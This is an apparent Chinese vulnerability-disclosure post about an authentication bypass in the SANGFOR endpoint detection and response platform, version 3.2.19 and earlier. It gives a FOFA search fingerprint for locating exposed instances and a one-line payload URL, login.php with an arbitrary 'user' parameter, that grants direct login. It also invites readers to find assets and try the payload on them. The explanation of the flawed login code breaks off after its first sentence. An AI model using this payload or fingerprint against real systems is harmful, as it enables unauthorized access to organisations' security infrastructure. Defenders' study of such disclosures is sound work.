https://www.yuque.com/pmiaowu/hcy2bz/fp4icw

0x01 前言
看大家爆洞爆的很快乐，我也爆一个现在没有的
看源码看到的，我测试的时候还可以打到3.2.19后面的版本我就不知道了
注：2020年08月18日，fofa是通杀，截止到今天我就不清楚情况了。想复现请自己多找几个资产/安装 3.2.19或是之前的版本进行测试
fofa指纹: title="SANGFOR终端检测响应平台"
0x02 漏洞利用
payload: https://ip/ui/login.php?user=随便写一点
例如: https://111.111.11.111:5000/ui/login.php?user=admin
输入完毕以后即可直接登录平台
如下图

0x03 漏洞解析

在源码的：/web/ui/login.php 文件里面
登录判断的代码有一处让人感觉坑爹的地方